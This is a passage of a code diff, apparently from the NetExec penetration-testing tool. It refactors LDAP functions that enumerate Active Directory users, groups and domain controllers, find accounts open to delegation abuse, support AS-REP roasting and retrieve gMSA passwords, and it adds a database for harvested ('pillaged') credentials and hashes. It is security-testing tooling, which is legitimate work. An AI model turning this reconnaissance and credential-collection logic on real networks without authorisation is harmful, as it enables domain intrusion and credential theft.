445) - self.smbv1 = False - if self.conn: - self.logger.debug("SMBv3 Connection successful") - except OSError: - return False - except Exception as e: - self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}") - return False - - return True - - def create_conn_obj(self): - return bool(self.args.no_smb or self.create_smbv1_conn() or self.create_smbv3_conn()) - def get_sid(self): self.logger.highlight(f"Domain SID {self.sid_domain}") @@ -660,7 +612,7 @@ class ldap(connection): attributes = ["objectSid"] resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] - if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "": + if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") and self.username != "": for attribute in resp[0][1]: if str(attribute["type"]) == "objectSid": sid = self.sid_to_str(attribute["vals"][0]) @@ -677,6 +629,9 @@ class ldap(connection): for attribute in item["attributes"]: if str(attribute["type"]) == "distinguishedName": answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")")) + if len(answers) == 0: + self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") + return # 3. get member of these groups search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))" @@ -694,14 +649,15 @@ class ldap(connection): t /= 10000000 return t - def search(self, searchFilter, attributes, sizeLimit=0): + def search(self, searchFilter, attributes, sizeLimit=0) -> list: try: - if self.ldapConnection: + if self.ldap_connection: self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) - return self.ldapConnection.search( + return self.ldap_connection.search( + searchBase=self.baseDN, searchFilter=searchFilter, attributes=attributes, sizeLimit=sizeLimit, @@ -714,8 +670,8 @@ class ldap(connection): e.getAnswers() else: self.logger.fail(e) - return False - return False + return [] + return [] def users(self): """ @@ -729,163 +685,169 @@ class ldap(connection): ------- None """ - if len(self.args.users) > 0: + if self.args.users: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" - # default to these attributes to mirror the SMB --users functionality + # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) + users = [] if resp: - # I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it - if self.username == "": - self.logger.display(f"Total records returned: {len(resp):d}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.highlight(f"{item['objectName']}") - return + resp_parse = parse_result_attributes(resp) - users = parse_result_attributes(resp) - # we print the total records after we parse the results since often SearchResultReferences are returned - self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - for user in users: - # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module - parsed_pw_last_set = "" + # We print the total records after we parse the results since often SearchResultReferences are returned + self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") + for user in resp_parse: pwd_last_set = user.get("pwdLastSet", "") - if pwd_last_set != "": - timestamp_seconds = int(pwd_last_set) / 10**7 - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - parsed_pw_last_set = "" - # we default attributes to blank strings if they don't exist in the dict - self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}") + if pwd_last_set: + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") + + # We default attributes to blank strings if they don't exist in the dict + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") + users.append(user.get("sAMAccountName", "")) + if self.args.users_export: + self.logger.display(f"Writing {len(resp_parse):d} local users to {self.args.users_export}") + with open(self.args.users_export, "w+") as file: + file.writelines(f"{user}\n" for user in users) + + def users_export(self): + self.users() def groups(self): # Building the search filter - search_filter = "(objectCategory=group)" - attributes = ["name"] + if self.args.groups: + self.logger.debug(f"Dumping group: {self.args.groups}") + search_filter = f"(cn={self.args.groups})" + attributes = ["member"] + else: + search_filter = "(objectCategory=group)" + attributes = ["cn", "member"] resp = self.search(search_filter, attributes, 0) - if resp: - self.logger.debug(f"Total of records returned {len(resp):d}") + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(resp):d}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - name = "" + if self.args.groups: + if not resp_parsed: + self.logger.fail(f"Group {self.args.groups} not found") + elif not resp_parsed[0]: + self.logger.fail(f"Group {self.args.groups} has no members") + else: + # Fix if group has only one member + if not isinstance(resp_parsed[0]["member"], list): + resp_parsed[0]["member"] = [resp_parsed[0]["member"]] + for user in resp_parsed[0]["member"]: + self.logger.highlight(user.split(",")[0].split("=")[1]) + else: + for item in resp_parsed: try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "name": - name = str(attribute["vals"][0]) - self.logger.highlight(f"{name}") + # Fix if group has only one member + if not isinstance(item.get("member", []), list): + item["member"] = [item["member"]] + self.logger.highlight(f"{item['cn']:<40} membercount: {len(item.get('member', []))}") except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") - return + + def computers(self): + resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["name"], 0) + resp_parse = parse_result_attributes(resp) + + if resp: + self.logger.display(f"Total records returned: {len(resp_parse)}") + for item in resp_parse: + self.logger.highlight(item["name"] + "$") def dc_list(self): # Building the search filter + resolv = resolver.Resolver() + if self.args.dns_server: + resolv.nameservers = [self.args.dns_server] + else: + resolv.nameservers = [self.host] + resolv.timeout = self.args.dns_timeout + search_filter = "(&(objectCategory=computer)(primaryGroupId=516))" attributes = ["dNSHostName"] resp = self.search(search_filter, attributes, 0) + resp_parse = parse_result_attributes(resp) - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - name = "" + for item in resp_parse: + name = item.get("dNSHostName", "") # Get dNSHostName attribute or empty string try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "dNSHostName": - name = str(attribute["vals"][0]) - try: - ip_address = socket.gethostbyname(name.split(".")[0]) - if ip_address is not True and name != "": - self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}") - except socket.gaierror: - self.logger.fail(f"{name} = Connection timeout") + # Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records + if name: + found_record = False # Flag to check if any record is found + + for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: + if found_record: + break # If a record has been found, stop checking further + + try: + answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) + for rdata in answers: + if record_type in ["A", "AAAA"]: + ip_address = rdata.to_text() + self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}") + found_record = True # Set flag to true since a record is found + elif record_type == "CNAME": + self.logger.highlight(f"{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") + found_record = True + elif record_type == "PTR": + self.logger.highlight(f"{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") + found_record = True + elif record_type == "NS": + self.logger.highlight(f"{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") + found_record = True + except resolv.NXDOMAIN: + self.logger.fail(f"{name} = Host not found (NXDOMAIN)") + except resolv.Timeout: + self.logger.fail(f"{name} = Connection timed out") + except resolv.NoAnswer: + self.logger.fail(f"{name} = DNS server did not respond") + except Exception as e: + self.logger.fail(f"{name} encountered an unexpected error: {e}") + else: + self.logger.fail("dNSHostName value is empty, unable to process.") except Exception as e: - self.logger.fail("Exception:", exc_info=True) - self.logger.fail(f"Skipping item, cannot process due to error {e}") + self.logger.fail("General Error:", exc_info=True) + self.logger.fail(f"Skipping item(dNSHostName) {name}, error: {e}") def active_users(self): if len(self.args.active_users) > 0: - arg = True self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" - search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" + search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" else: - arg = False self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" - # default to these attributes to mirror the SMB --users functionality + # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] resp = self.search(search_filter, request_attributes, sizeLimit=0) - allusers = parse_result_attributes(resp) - count = 0 - activeusers = [] - argsusers = [] + if resp: + all_users = parse_result_attributes(resp) + # Filter disabled users (ignore accounts without userAccountControl value) + active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] - if arg: - resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0) - users_args = parse_result_attributes(resp_args) - # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing - for i in range(len(self.args.active_users)): - try: - argsusers.append(users_args[i]) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") - else: - argsusers = allusers + self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") - for user in allusers: - user_account_control = user.get("userAccountControl") - if user_account_control is not None: # Check if user_account_control is not None - account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list - account_disabled = int(account_control) & 2 - if not account_disabled: - count += 1 - activeusers.append(user.get("sAMAccountName").lower()) - else: - self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None") - - if self.username == "": - self.logger.display(f"Total records returned: {len(resp):d}") - for item in resp_args: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.highlight(f"{item['objectName']}") - return - self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - - for arguser in argsusers: - pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string. - if pwd_last_set: # Checks if pwdLastSet is empty or not. - timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer. - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - parsed_pw_last_set = "" - - if arguser.get("sAMAccountName").lower() in activeusers and arg is False: - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: - self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() in activeusers): - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + for user in active_users: + pwd_last_set = user.get("pwdLastSet", "") + if pwd_last_set: + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: return False + # Building the search filter search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) attributes = [ @@ -1071,19 +1033,121 @@ class ldap(connection): self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}") try: resp = self.search(search_filter, attributes, 0) + resp_parsed = parse_result_attributes(resp) except LDAPFilterSyntaxError as e: self.logger.fail(f"LDAP Filter Syntax Error: {e}") return - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.success(f"Response for object: {item['objectName']}") - for attribute in item["attributes"]: - attr = f"{attribute['type']}:" - vals = str(attribute["vals"]).replace("\n", "") - if "SetOf: " in vals: - vals = vals.replace("SetOf: ", "") - self.logger.highlight(f"{attr:<20} {vals}") + for idx, entry in enumerate(resp_parsed): + self.logger.success(f"Response for object: {resp[idx]['objectName']}") + for attribute in entry: + if isinstance(entry[attribute], list) and entry[attribute]: + # Display first item in the same line as attribute + self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}") + for item in entry[attribute]: + self.logger.highlight(f"{'':<20} {item}") + else: + self.logger.highlight(f"{attribute:<20} {entry[attribute]}") + + def find_delegation(self): + def printTable(items, header): + colLen = [] + + # Calculating maximum lenght before parsing CN. + for i, col in enumerate(header): + rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items) + colLen.append(max(rowMaxLen, len(col))) + + # Create the format string for each row + outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) + + # Print header + self.logger.highlight(outputFormat.format(*header)) + self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) + + # Print rows + for row in items: + # Get first CN value. + if "CN=" in row[1]: + row[1] = row[1].split(",")[0].split("CN=")[-1] + + # Added join for DelegationRightsTo + row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3] + + self.logger.highlight(outputFormat.format(*row)) + + # Building the search filter + search_filter = (f"(&(|(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION})" + f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" + "(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" + f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))") + # f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs + + attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", + "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] + + resp = self.search(search_filter, attributes) + answers = [] + self.logger.debug(f"Total of records returned {len(resp):d}") + resp_parse = parse_result_attributes(resp) + + for item in resp_parse: + sAMAccountName = "" + userAccountControl = 0 + delegation = "" + objectType = "" + rightsTo = [] + protocolTransition = 0 + + try: + sAMAccountName = item["sAMAccountName"] + + userAccountControl = int(item["userAccountControl"]) + objectType = item.get("objectCategory") + + # Filter out DCs, unconstrained delegation to DCs is not a useful information + if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & UF_SERVER_TRUST_ACCOUNT: + delegation = "Unconstrained" + rightsTo.append("N/A") + elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = "Constrained w/ Protocol Transition" + protocolTransition = 1 + + if item.get("msDS-AllowedToDelegateTo") is not None: + if protocolTransition == 0: + delegation = "Constrained" + rightsTo = item.get("msDS-AllowedToDelegateTo") + + # Not an elif as an object could both have RBCD and another type of delegation + if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: + databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") + rbcdRights = [] + rbcdObjType = [] + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) + if len(sd["Dacl"].aces) > 0: + search_filter = "(&(|" + for ace in sd["Dacl"].aces: + search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" + search_filter += f")(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))" + delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"]) + delegUserResp_parse = parse_result_attributes(delegUserResp) + + for rbcd in delegUserResp_parse: + rbcdRights.append(str(rbcd.get("sAMAccountName"))) + rbcdObjType.append(str(rbcd.get("objectCategory"))) + + for rights, objType in zip(rbcdRights, rbcdObjType, strict=True): + answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) + + if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]: + answers.append([sAMAccountName, objectType, delegation, rightsTo]) + + except Exception as e: + self.logger.error(f"Skipping item, cannot process due to error {e}") + + if answers: + printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) + else: + self.logger.fail("No entries found!") def trusted_for_delegation(self): # Building the search filter @@ -1147,7 +1211,8 @@ class ldap(connection): searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)" try: self.logger.debug(f"Search Filter={searchFilter}") - resp = self.ldapConnection.search( + resp = self.ldap_connection.search( + searchBase=self.baseDN, searchFilter=searchFilter, attributes=[ "sAMAccountName", @@ -1274,7 +1339,8 @@ class ldap(connection): def gmsa(self): self.logger.display("Getting GMSA Passwords") search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=[ "sAMAccountName", @@ -1282,7 +1348,6 @@ class ldap(connection): "msDS-GroupMSAMembership", ], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") @@ -1327,11 +1392,11 @@ class ldap(connection): else: # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") @@ -1357,11 +1422,11 @@ class ldap(connection): gmsa_pass = gmsa[1] # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") diff --git a/nxc/protocols/ldap/database.py b/nxc/protocols/ldap/database.py index 2f08e956..b3a2ae75 100644 --- a/nxc/protocols/ldap/database.py +++ b/nxc/protocols/ldap/database.py @@ -1,17 +1,19 @@ import sys -from sqlalchemy import Table +from sqlalchemy import func, Table, select, delete +from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import ( NoInspectionAvailable, NoSuchTableError, ) -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query +from nxc.logger import nxc_logger class database(BaseDB): def __init__(self, db_engine): - self.CredentialsTable = None + self.UsersTable = None self.HostsTable = None super().__init__(db_engine) @@ -19,10 +21,14 @@ class database(BaseDB): @staticmethod def db_schema(db_conn): db_conn.execute( - """CREATE TABLE "credentials" ( + """CREATE TABLE "users" ( "id" integer PRIMARY KEY, + "domain" text, "username" text, - "password" text + "password" text, + "credtype" text, + "pillaged_from_hostid" integer, + FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id) )""" ) @@ -31,14 +37,15 @@ class database(BaseDB): "id" integer PRIMARY KEY, "ip" text, "hostname" text, - "port" integer + "domain" text, + "os" text )""" ) def reflect_tables(self): with self.db_engine.connect(): try: - self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) + self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): print( @@ -49,3 +56,179 @@ class database(BaseDB): [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) sys.exit() + + def add_host(self, ip, hostname, domain, os): + """Check if this host has already been added to the database, if not, add it in.""" + hosts = [] + updated_ids = [] + + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) + results = self.db_execute(q).all() + + # create new host + if not results: + new_host = { + "ip": ip, + "hostname": hostname, + "domain": domain, + "os": os + } + hosts = [new_host] + # update existing hosts data + else: + for host in results: + host_data = host._asdict() + # only update column if it is being passed in + if ip is not None: + host_data["ip"] = ip + if hostname is not None: + host_data["hostname"] = hostname + if domain is not None: + host_data["domain"] = domain + # only add host to be updated if it has changed + if host_data not in hosts: + hosts.append(host_data) + updated_ids.append(host_data["id"]) + nxc_logger.debug(f"Update Hosts: {hosts}") + + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) + + self.db_execute(q, hosts) # .scalar() + # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted + if updated_ids: + nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") + return updated_ids + + def add_credential(self, credtype, domain, username, password, pillaged_from=None): + """Check if this credential has already been added to the database, if not add it in.""" + credentials = [] + groups = [] + + if pillaged_from and not self.is_host_valid(pillaged_from): + nxc_logger.debug("Invalid host") + return + + q = select(self.UsersTable).filter( + func.lower(self.UsersTable.c.domain) == func.lower(domain), + func.lower(self.UsersTable.c.username) == func.lower(username), + func.lower(self.UsersTable.c.credtype) == func.lower(credtype), + ) + results = self.db_execute(q).all() + + # add new credential + if not results: + new_cred = { + "credtype": credtype, + "domain": domain, + "username": username, + "password": password, + "pillaged_from": pillaged_from, + } + credentials = [new_cred] + # update existing cred data + else: + for creds in results: + # this will include the id, so we don't touch it + cred_data = creds._asdict() + # only update column if it is being passed in + if credtype is not None: + cred_data["credtype"] = credtype + if domain is not None: + cred_data["domain"] = domain + if username is not None: + cred_data["username"] = username + if password is not None: + cred_data["password"] = password + if pillaged_from is not None: + cred_data["pillaged_from"] = pillaged_from + # only add cred to be updated if it has changed + if cred_data not in credentials: + credentials.append(cred_data) + + # TODO: find a way to abstract this away to a single Upsert call + q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) + update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} + q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) + nxc_logger.debug(f"Adding credentials: {credentials}") + + self.db_execute(q_users, credentials) # .scalar() + + if groups: + q_groups = Insert(self.GroupRelationsTable) + + self.db_execute(q_groups, groups) + + def remove_credentials(self, creds_id): + """Removes a credential ID from the database""" + del_hosts = [] + for cred_id in creds_id: + q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) + del_hosts.append(q) + self.db_execute(q) + + def is_credential_valid(self, credential_id): + """Check if this credential ID is valid.""" + q = select(self.UsersTable).filter( + self.UsersTable.c.id == credential_id, + self.UsersTable.c.password is not None, + ) + results = self.db_execute(q).all() + return len(results) > 0 + + def get_credentials(self, filter_term=None, cred_type=None): + """Return credentials from the database.""" + # if we're returning a single credential by ID + if self.is_credential_valid(filter_term): + q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) + elif cred_type: + q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) + # if we're filtering by username + elif filter_term and filter_term != "": + like_term = func.lower(f"%{filter_term}%") + q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) + # otherwise return all credentials + else: + q = select(self.UsersTable) + + return self.db_execute(q).all() + + def get_credential(self, cred_type, domain, username, password): + q = select(self.UsersTable).filter( + self.UsersTable.c.domain == domain, + self.UsersTable.c.username == username, + self.UsersTable.c.password == password, + self.UsersTable.c.credtype == cred_type, + ) + results = self.db_execute(q).first() + return results.id + + def get_hosts(self, filter_term=None, domain=None): + """Return hosts from the database.""" + q = select(self.HostsTable) + + # if we're returning a single host by ID + if self.is_host_valid(filter_term): + q = q.filter(self.HostsTable.c.id == filter_term) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif filter_term is not None and filter_term.startswith("domain"): + domain = filter_term.split()[1] + like_term = func.lower(f"%{domain}%") + q = q.filter(self.HostsTable.c.domain.like(like_term)) + # if we're filtering by ip/hostname + elif filter_term and filter_term != "": + q = format_host_query(q, filter_term, self.HostsTable) + + results = self.db_execute(q).all() + nxc_logger.debug(f"ldap hosts() - results: {results}") + return results + + def is_host_valid(self, host_id): + """Check if this host ID is valid.""" + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) + results = self.db_execute(q).all() + return len(results) > 0 diff --git a/nxc/protocols/ldap/db_navigator.py b/nxc/protocols/ldap/db_navigator.py index c712309b..18a02be3 100644 --- a/nxc/protocols/ldap/db_navigator.py +++ b/nxc/protocols/ldap/db_navigator.py @@ -1,7 +1,183 @@ -from nxc.nxcdb import DatabaseNavigator, print_help +from nxc.helpers.misc import validate_ntlm +from nxc.nxcdb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): + def display_hosts(self, hosts): + data = [ + [ + "HostID", + "IP", + "Hostname", + "Domain", + "OS" + ] + ] + + for host in hosts: + host_id = host[0] + ip = host[1] + hostname = host[2] + domain = host[3] + + try: + os = host[4].decode() + except Exception: + os = host[4] + + data.append( + [ + host_id, + ip, + hostname, + domain, + os + ] + ) + print_table(data, title="Hosts") + + def do_hosts(self, line): + filter_term = line.strip() + + if filter_term == "": + hosts = self.db.get_hosts() + self.display_hosts(hosts) + else: + hosts = self.db.get_hosts(filter_term=filter_term) + + if len(hosts) > 1: + self.display_hosts(hosts) + elif len(hosts) == 1: + data = [ + [ + "HostID", + "IP", + "Hostname", + "Domain", + "OS" + ] + ] + host_id_list = [] + + for host in hosts: + host_id = host[0] + host_id_list.append(host_id) + ip = host[1] + hostname = host[2] + domain = host[3] + + try: + os = host[4].decode() + except Exception: + os = host[4] + + data.append( + [ + host_id, + ip, + hostname, + domain, + os + ] + ) + print_table(data, title="Host") + + def help_hosts(self): + help_string = """ + hosts [filter_term] + By default prints all hosts + Table format: + | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' | + Subcommands: + filter_term - filters hosts with filter_term + If a single host is returned (e.g. `hosts 15`, it prints the following tables: + Host | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' | + Otherwise, it prints the default host table from a `like` query on the `ip` and `hostname` columns + """ + print_help(help_string) + + def display_creds(self, creds): + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] + + for cred in creds: + cred_id = cred[0] + domain = cred[1] + username = cred[2] + password = cred[3] + credtype = cred[4] + + data.append( + [ + cred_id, + credtype, + domain, + username, + password + ] + ) + print_table(data, title="Credentials") + + def do_creds(self, line): + filter_term = line.strip() + + if filter_term == "": + creds = self.db.get_credentials() + self.display_creds(creds) + elif filter_term.split()[0].lower() == "add": + args = filter_term.split()[1:] + + if len(args) == 3: + domain, username, password = args + if validate_ntlm(password): + self.db.add_credential("hash", domain, username, password) + else: + self.db.add_credential("plaintext", domain, username, password) + else: + print("[!] Format is 'add domain username password") + return + elif filter_term.split()[0].lower() == "remove": + args = filter_term.split()[1:] + + if len(args) != 1: + print("[!] Format is 'remove '") + return + else: + self.db.remove_credentials(args) + elif filter_term.split()[0].lower() == "plaintext": + creds = self.db.get_credentials(cred_type="plaintext") + self.display_creds(creds) + elif filter_term.split()[0].lower() == "hash": + creds = self.db.get_credentials(cred_type="hash") + self.display_creds(creds) + else: + creds = self.db.get_credentials(filter_term=filter_term) + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] + cred_id_list = [] + + for cred in creds: + cred_id_list.append(cred[0]) + data.append([cred[0], cred[1], cred[2], cred[3], cred[4]]) + + print_table(data, title="Credential(s)") + + def help_creds(self): + help_string = """ + creds [add|remove|plaintext|hash|filter_term] + By default prints all creds + Table format: + | 'CredID', 'CredType', 'Domain', 'UserName', 'Password' | + Subcommands: + add - format: "add domain username password " + remove - format: "remove " + plaintext - prints plaintext creds + hash - prints hashed creds + filter_term - filters creds with filter_term + If a single credential is returned (e.g. `creds 15`, it prints the following tables: + Credential(s) | 'CredID', 'CredType', 'Domain', 'UserName', 'Password' + Otherwise, it prints the default credential table from a `like` query on the `username` column + """ + print_help(help_string) + def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() diff --git a/nxc/protocols/ldap/kerberos.py 